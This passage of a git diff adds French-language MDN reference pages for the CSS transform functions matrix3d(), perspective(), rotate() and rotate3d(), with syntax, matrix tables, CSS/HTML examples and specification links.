+   <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd><mtd>tx</mtd></mtr><mtr><mtd>b</mtd><mtd>d</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd><mtd>0</mtd><mtd>tx</mtd></mtr><mtr><mtd>b</mtd><mtd>d</mtd><mtd>0</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[a b c d tx ty]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;toto&lt;/p&gt;
+&lt;p class="transformation"&gt;truc&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.transformation{
+  transform: matrix(0.87,-0.5,0,0.87,0,1);
+  background-color: blue;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","200")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Transforms", "#funcdef-transform-matrix", "matrix()")}}</td>
+   <td>{{Spec2("CSS3 Transforms")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Voir la page sur le type de donnée <code><a href="/fr/docs/Web/CSS/transform-function#Compatibilité_des_navigateurs">&lt;transform-function&gt;</a></code> pour les informations de compatibilité associées.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+ <li><code><a href="/fr/docs/Web/CSS/transform-function/matrix3d">matrix3d()</a></code></li>
+ <li><a href="https://dev.opera.com/articles/understanding-the-css-transforms-matrix/">Comprendre les matrices de transformations CSS (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/transform-function/matrix3d()/index.html b/files/fr/web/css/transform-function/matrix3d()/index.html
new file mode 100644
index 0000000000..0f638286b7
--- /dev/null
+++ b/files/fr/web/css/transform-function/matrix3d()/index.html
@@ -0,0 +1,182 @@
+---
+title: matrix3d()
+slug: Web/CSS/transform-function/matrix3d()
+tags:
+  - CSS
+  - Reference
+  - Transformations CSS
+translation_of: Web/CSS/transform-function/matrix3d()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <strong><code>matrix3d()</code></strong> décrit une transformation en trois dimensions sous la forme d'une matrice homogène (4x4). Les 16 paramètres passés à la fonction sont listés par ligne puis par colonne. Le résultat de cette fonction est une valeur de type {{cssxref("&lt;transform-function&gt;")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">matrix3d(<var>a1</var>, <var>b1</var>, <var>c1</var>, <var>d1</var>, <var>a2</var>, <var>b2</var>, <var>c2</var>, <var>d2</var>, <var>a3</var>, <var>b3</var>, <var>c3</var>, <var>d3</var>, <var>a4</var>, <var>b4</var>, <var>c4</var>, <var>d4</var>)</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><var>a1</var> <var>b1</var> <var>c1</var> <var>d1</var> <var>a2</var> <var>b2</var> <var>c2</var> <var>d2</var> <var>a3</var> <var>b3</var> <var>c3</var> <var>d3</var> <var>d4</var></dt>
+ <dd>Des valeurs de type {{cssxref("&lt;number&gt;")}} qui sont les coefficients de la matrice définissant la transformation linéaire.</dd>
+ <dt><code>a4</code> <code>b4<em> </em>c4</code></dt>
+ <dd>Les coefficients de type {{cssxref("&lt;number&gt;")}} qui définissent la translation à appliquer.</dd>
+</dl>
+
+<div class="note"><strong>Note :</strong> Jusqu'à Firefox 16, Gecko permettait d'utiliser des valeurs {{cssxref("&lt;length&gt;")}} pour les coefficients <code>a4</code>, <code>b4</code> et <code>c4</code>.</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>2</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>2</sup></th>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>3</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="2" rowspan="2">Cette transformation s'applique dans l'espace (3D) et ne peut pas être représentée en deux dimensions.</td>
+   <td colspan="1" rowspan="2">Les matrices exprimées avec des coordonnées cartésiennes ne permettent pas de représenter des transformations 3D affines car les translations ne sont pas des transformations linéaires.</td>
+   <td colspan="1" rowspan="2"><math><mfenced><mtable><mtr><mtd>a1</mtd><mtd>a2</mtd><mtd>a3</mtd><mtd>a4</mtd></mtr><mtr><mtd>b1</mtd><mtd>b2</mtd><mtd>b3</mtd><mtd>b4</mtd></mtr><mtr><mtd>c1</mtd><mtd>c2</mtd><mtd>c3</mtd><mtd>c4</mtd></mtr><mtr><mtd>d1</mtd><mtd>d2</mtd><mtd>d3</mtd><mtd>d4</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;toto&lt;/p&gt;
+&lt;p class="transformation"&gt;truc&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.transformation{
+  transform: matrix3d(0.87,-0.5,0.00,0,0.50,0.87,0.00,0,0,0,1,0,0,0,0,1);
+  background-color: blue;
+}
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_simple","100%","200")}}</p>
+
+<h3 id="Translation_et_homothétie_matricielle">Translation et homothétie matricielle</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div class="foo"&gt;
+ Lorem ipsum dolor sit amet, consectetur adipisicing elit.
+ Quos quaerat sit soluta, quisquam exercitationem delectus qui unde in facere
+ necessitatibus aut quia porro dolorem nesciunt enim, at consequuntur aliquam esse?
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">html {
+  width: 100%;
+}
+body {
+  height: 100vh;
+  /* Centering content */
+  display: flex;
+  flex-flow: row wrap;
+  justify-content: center;
+  align-content: center;
+
+}
+.foo {
+  width: 50%;
+  padding: 1em;
+  color: white;
+  background: #ff8c66;
+  border: 2px dashed black;
+  text-align: center;
+  font-family: system-ui, sans-serif;
+  font-size: 14px;
+   /* Setting up animation for better demonstration */
+  animation: MotionScale 2s alternate linear infinite;
+}
+
+@keyframes MotionScale {
+  from {
+    /*
+      Identity matrix is used as basis here.
+      The matrix below describes the
+      following transformations:
+        Translates every X point by -50px
+        Translates every Y point by -100px
+        Translates every Z point by 0
+        Scales down by 10%
+    */
+    transform: matrix3d(
+      1,0,0,0,
+      0,1,0,0,
+      0,0,1,0,
+      -50,-100,0,1.1
+    );
+
+  }
+  50% {
+    transform: matrix3d(
+      1,0,0,0,
+      0,1,0,0,
+      0,0,1,0,
+      0,0,0,0.9
+    );
+  }
+  to {
+     transform: matrix3d(
+      1,0,0,0,
+      0,1,0,0,
+      0,0,1,0,
+      50,100,0,1.1
+    )
+  }
+}</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('Translation_et_homothétie_matricielle', '100%', '400px')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Transforms 2", "#funcdef-matrix3d", "matrix3d()")}}</td>
+   <td>{{Spec2("CSS Transforms 2")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Voir la page sur le type de donnée <code><a href="/fr/docs/Web/CSS/transform-function#Compatibilité_des_navigateurs">&lt;transform-function&gt;</a></code> pour les informations de compatibilité associées.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+ <li><a href="https://dev.opera.com/articles/understanding-the-css-transforms-matrix/">Comprendre les matrices de transformations CSS (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/transform-function/perspective()/index.html b/files/fr/web/css/transform-function/perspective()/index.html
new file mode 100644
index 0000000000..0fb86405b6
--- /dev/null
+++ b/files/fr/web/css/transform-function/perspective()/index.html
@@ -0,0 +1,159 @@
+---
+title: perspective()
+slug: Web/CSS/transform-function/perspective()
+tags:
+  - CSS
+  - Reference
+  - Transformations CSS
+translation_of: Web/CSS/transform-function/perspective()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <strong><code>perspective()</code></strong> définit la distance entre le plan d'équation z = 0 et l'œil de l'utilisateur afin de fournir une perspective aux éléments positionnés dans l'espace (3D). Chaque élément pour lequel z est positif apparaîtra plus grand et chaque élément pour lequel z est négatif apparaîtra plus petit. La « force » de cet effet est déterminée par la valeur de cette propriété. La valeur obtenue comme résultat de cette fonction est de type {{cssxref("&lt;transform-function&gt;")}}.</p>
+
+<p>Le résultat de cette fonction est une valeur de type {{cssxref("&lt;transform-function&gt;")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-perspective.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La fonction de transformation <code>perspective()</code>s'applique à l'élément qu'on veut transformer. En revanche, les propriétés {{cssxref('perspective')}} et {{cssxref('perspective-origin')}} s'appliquent sur l'élément parent de l'enfant qu'on veut placer dans un espace 3D.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">perspective(<var>l</var>)
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><var>l</var></dt>
+ <dd>Une valeur de type {{cssxref("&lt;length&gt;")}} qui définit la distance entre l'œil de l'utilisateur et le plan décrit par l'équation <code>z = 0</code>. Si la valeur est nulle ou négative, aucune perspective ne sera appliquée.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>2</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>2</sup></th>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>3</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="2" rowspan="2">
+    <p>Cette transformation s'applique dans l'espace (3D) et ne peut pas être représentée en deux dimensions.</p>
+   </td>
+   <td colspan="1" rowspan="2">Une perspective n'est pas une transformation linéaire de ℝ<sup>3</sup> et ne peut donc pas être représentée en utilisant une matrice du système cartésien.</td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd><mo>−</mo>1<mo>/</mo>d</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Appliquer_une_perspective_sur_un_objet_3D">Appliquer une perspective sur un objet 3D</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">.face {
+  position: absolute;
+  width: 100px;
+  height: 100px;
+  line-height: 100px;
+  font-size: 100px;
+  text-align: center;
+}
+
+p + div {
+  width: 100px;
+  height: 100px;
+  transform-style: preserve-3d;
+  margin-left: 100px;
+}
+.no-perspective-box {
+  transform: rotateX(-15deg) rotateY(30deg);
+}
+
+.perspective-box-far {
+  transform: perspective(9cm) rotateX(-15deg) rotateY(30deg);
+}
+
+.perspective-box-closer {
+  transform: perspective(4cm) rotateX(-15deg) rotateY(30deg);
+}
+
+.top {
+  background-color: skyblue;
+  transform: rotateX(90deg) translate3d(0, 0, 50px);
+}
+
+.left {
+  background-color: pink;
+  transform: rotateY(-90deg) translate3d(0, 0, 50px);
+}
+
+.front {
+  background-color: limegreen;
+  transform: translate3d(0, 0, 50px);
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;Sans perspective :&lt;/p&gt;
+&lt;div class="no-perspective-box"&gt;
+  &lt;div class="face front"&gt;A&lt;/div&gt;
+  &lt;div class="face top"&gt;B&lt;/div&gt;
+  &lt;div class="face left"&gt;C&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;p&gt;Avec une perspective (9cm) :&lt;/p&gt;
+&lt;div class="perspective-box-far"&gt;
+  &lt;div class="face front"&gt;A&lt;/div&gt;
+  &lt;div class="face top"&gt;B&lt;/div&gt;
+  &lt;div class="face left"&gt;C&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;p&gt;Avec une perspective (4cm) :&lt;/p&gt;
+&lt;div class="perspective-box-closer"&gt;
+  &lt;div class="face front"&gt;A&lt;/div&gt;
+  &lt;div class="face top"&gt;B&lt;/div&gt;
+  &lt;div class="face left"&gt;C&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Appliquer_une_perspective_sur_un_objet_3D', '100%', '350', '', 'Web/CSS/transform-function/perspective')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Transforms 2", "#funcdef-perspective", "perspective()")}}</td>
+   <td>{{Spec2("CSS Transforms 2")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Voir la page sur le type de donnée <code><a href="/fr/docs/Web/CSS/transform-function#Compatibilité_des_navigateurs">&lt;transform-function&gt;</a></code> pour les informations de compatibilité associées.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+</ul>
diff --git a/files/fr/web/css/transform-function/rotate()/index.html b/files/fr/web/css/transform-function/rotate()/index.html
new file mode 100644
index 0000000000..eedbb8b131
--- /dev/null
+++ b/files/fr/web/css/transform-function/rotate()/index.html
@@ -0,0 +1,153 @@
+---
+title: rotate()
+slug: Web/CSS/transform-function/rotate()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+  - Transformations CSS
+translation_of: Web/CSS/transform-function/rotate()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <strong><code>rotate()</code></strong> définit une transformation qui déplace un élément autour d'un point fixe (défini par la propriété {{cssxref("transform-origin")}}) sans le déformer (autrement dit, qui applique une rotation plane). C'est une rotation autour de ce point. Par défaut, cette origine correspond au centre de l'élément.</p>
+
+<p>La rotation plane est définie par un angle, l'argument de la fonction. Si l'angle indiqué est positif, le mouvement sera appliqué dans le sens horaire et sinon il sera appliqué dans le sens inverse des aiguilles d'une montre. La valeur obtenue par cette fonction est de type {{cssxref("&lt;transform-function&gt;")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>L'angle de la rotation créée grâce à <code>rotate()</code> est fourni comme argument à cette fonction via une valeur de type {{cssxref("&lt;angle&gt;")}}. Si l'angle est positif, la rotation sera dans le sens des aiguilles d'une montre et s'il est négatif, elle sera dans le sens inverse des aiguilles d'une montre.</p>
+
+<pre class="syntaxbox notranslate">rotate(<var>a</var>)
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><var>a</var></dt>
+ <dd>Une valeur de type {{cssxref("&lt;angle&gt;")}} qui représente l'angle de la rotation. Un angle positif indique une rotation appliquée dans le sens horaire, un angle négatif applique une rotation dans le sens anti-horaire.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Coordonnées cartésiennes surℝ<sup>2</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>2</sup></th>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>3</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>cos(a)</mtd><mtd>-sin(a)</mtd></mtr> <mtr><mtd>sin(a)</mtd><mtd>cos(a)</mtd></mtr></mtable></mfenced></math></td>
+   <td><math> <mfenced><mtable><mtr><mtd>cos(a)</mtd><mtd>-sin(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>sin(a)</mtd><mtd>cos(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr><mtd>cos(a)</mtd><mtd>-sin(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>sin(a)</mtd><mtd>cos(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr><mtd>cos(a)</mtd><mtd>-sin(a)</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>sin(a)</mtd><mtd>cos(a)</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[cos(a) sin(a) -sin(a) cos(a) 0 0]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">div {
+  width: 80px;
+  height: 80px;
+  background-color: skyblue;
+}
+
+.tourne {
+  transform: rotate(45deg); /* Équivalent à rotateZ(45deg) */
+  background-color: pink;
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;Normal&lt;/div&gt;
+&lt;div class="tourne"&gt;Tourné&lt;/div&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_simple", "auto", 180)}}</p>
+
+<h3 id="Associer_une_rotation_à_une_autre_transformation">Associer une rotation à une autre transformation</h3>
+
+<p>Lorsqu'on applique plusieurs transformations, il faut faire attention à l'ordre dans lequel elles sont appliquées. Ainsi, si on applique une rotation avant une translation, la translation se fera selon le nouvel axe de rotation !</p>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">div {
+  position: absolute;
+  left: 40px;
+  top: 40px;
+  width: 100px;
+  height: 100px;
+  background-color: lightgray;
+}
+
+.rotate {
+  background-color: transparent;
+  outline: 2px dashed;
+  transform: rotate(45deg);
+}
+
+.rotate-translate {
+  background-color: pink;
+  transform: rotate(45deg) translateX(180px);
+}
+
+.translate-rotate {
+  background-color: gold;
+  transform: translateX(180px) rotate(45deg);
+}
+</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;Normal&lt;/div&gt;
+&lt;div class="rotate"&gt;Tourné&lt;/div&gt;
+&lt;div class="rotate-translate"&gt;Tourné puis translaté&lt;/div&gt;
+&lt;div class="translate-rotate"&gt;Translaté puis tourné&lt;/div&gt;
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Associer_une_rotation_avec_une_autre_transformation", "auto", 320)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Transforms", "#funcdef-transform-rotate", "rotate()")}}</td>
+   <td>{{Spec2("CSS3 Transforms")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Voir la page sur le type de donnée <code><a href="/fr/docs/Web/CSS/transform-function#Compatibilité_des_navigateurs">&lt;transform-function&gt;</a></code> pour les informations de compatibilité associées.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+ <li><code><a href="/fr/docs/Web/CSS/transform-function/rotate3d">rotate3d()</a></code></li>
+</ul>
diff --git a/files/fr/web/css/transform-function/rotate3d()/index.html b/files/fr/web/css/transform-function/rotate3d()/index.html
new file mode 100644
index 0000000000..29c8b92462
--- /dev/null
+++ b/files/fr/web/css/transform-function/rotate3d()/index.html
@@ -0,0 +1,144 @@
+---
+title: rotate3d()
+slug: Web/CSS/transform-function/rotate3d()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+  - Transformations CSS
+translation_of: Web/CSS/transform-function/rotate3d()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <strong><code>rotate3d()</code></strong> définit une transformation qui déplace un élément autour d'un axe sans le déformer. L'angle de la rotation est un argument de la fonction. Si l'angle indiqué est positif, le mouvement sera appliqué dans le sens horaire et sinon il sera appliqué dans le sens inverse des aiguilles d'une montre. La valeur obtenue par cette fonction est de type {{cssxref("&lt;transform-function&gt;")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/rotate3d.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Dans l'espace (en trois dimensions), les rotations ont trois degrés de liberté qui définissent l'axe de rotation. Cet axe est défini par un vecteur <code>[x, y, z]</code> et passe par l'origine du repère (définie grâce à la propriété {{cssxref("transform-origin")}}). Si le vecteur n'est pas normalisé (autrement dit, si la somme des carrés de ses trois composantes ne vaut pas 1), il sera normalisé par le moteur. Un vecteur qui ne peut être normalisé (par exemple le vecteur nul <code>[0, 0, 0]</code>) empêchera la rotation d'être appliquée mais la propriété CSS restera valide.</p>
+
+<div class="note"><strong>Note :</strong> Contrairement aux rotations appliqués dans le plan, la composition de rotations dans l'espace n'est pas commutative. Autrement dit, l'ordre dans lequel on applique les rotations est déterminant.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">rotate3d(<em>x</em>, <em>y</em>, <em>z</em>, <em>a</em>)
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;number&gt;")}} qui définit la composante en X (l'abscisse) du vecteur qui sera l'axe de la rotation.</dd>
+ <dt><code>y</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;number&gt;")}} qui définit la composante en Y (l'ordonnée) du vecteur qui sera l'axe de la rotation.</dd>
+ <dt><code>z</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;number&gt;")}} qui définit la composante en Z (la côte) du vecteur qui sera l'axe de la rotation.</dd>
+ <dt><code>a</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;angle&gt;")}} qui représente l'angle de la rotation. Un angle positif indique une rotation appliquée dans le sens horaire, un angle négatif applique une rotation dans le sens anti-horaire.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>2</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>2</sup></th>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>3</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="2">Cette transformation s'applique dans l'espace (3D) et ne peut pas être représentée en deux dimensions.</td>
+   <td colspan="1"><math><mfenced><mtable><mtr><mtd>1<mo>+</mo>(1<mo>-</mo>cos(<mi>a</mi>))(<msup><mi>x</mi><mn>2</mn></msup><mo>-</mo>1)</mtd><mtd><mi>z</mi><mo>·</mo>sin(<mi>a</mi>)+<mi>x</mi><mi>y</mi>(1<mo>-</mo>cos(<mi>a</mi>))</mtd><mtd><mo>-</mo><mi>y</mi><mo>·</mo>sin(<mi>a</mi>)<mo>+</mo><mi>x</mi><mi>z</mi><mo>·</mo>(1<mo>-</mo>cos(<mi>a</mi>))</mtd></mtr><mtr><mtd><mo>-</mo><mi>z</mi><mo>·</mo>sin(<mi>a</mi>)<mo>+</mo><mi>x</mi><mi>y</mi><mo>·</mo>(1<mo>-</mo>cos(<mi>a</mi>))</mtd><mtd>1+(1-cos(a))(y2-1)</mtd><mtd><mi>x</mi><mo>·</mo>sin(<mi>a</mi>)<mo>+</mo><mi>y</mi><mi>z</mi><mo>·</mo>(1<mo>-</mo>cos(<mi>a</mi>))</mtd><mtr><mtd>ysin(a) + xz(1-cos(a))</mtd><mtd>-xsin(a)+yz(1-cos(a))</mtd><mtd>1+(1-cos(a))(z2-1)</mtd><mtd>t</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr> </mtr></mtable></mfenced></math></td>
+   <td colspan="1"><a href="/@api/deki/files/5986/=transform-functions-rotate3d_hom4.png"><img src="/@api/deki/files/5986/=transform-functions-rotate3d_hom4.png?size=webview" style="height: 61px; width: 522px;"></a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Définir_une_rotation_en_Y">Définir une rotation en Y</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;toto&lt;/p&gt;
+&lt;p class="transformation"&gt;truc&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">body {
+  perspective: 800px;
+}
+
+p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+  margin: auto;
+}
+
+.transformation{
+  transform: rotate3d(0,1,0,60deg);
+  background-color: blue;
+}
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Définir_une_rotation_en_Y","100%","200")}}</p>
+
+<h3 id="Définir_une_rotation_sur_un_axe_quelconque">Définir une rotation sur un axe quelconque</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;toto&lt;/p&gt;
+&lt;p class="transformation"&gt;truc&lt;/p&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.transformation {
+  transform: rotate3d(1, 2, -1, 192deg);
+  background-color: blue;
+}
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Définir_une_rotation_sur_un_axe_quelconque","100%","200")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Transforms 2", "#funcdef-rotate3d", "rotate3d()")}}</td>
+   <td>{{Spec2("CSS Transforms 2")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
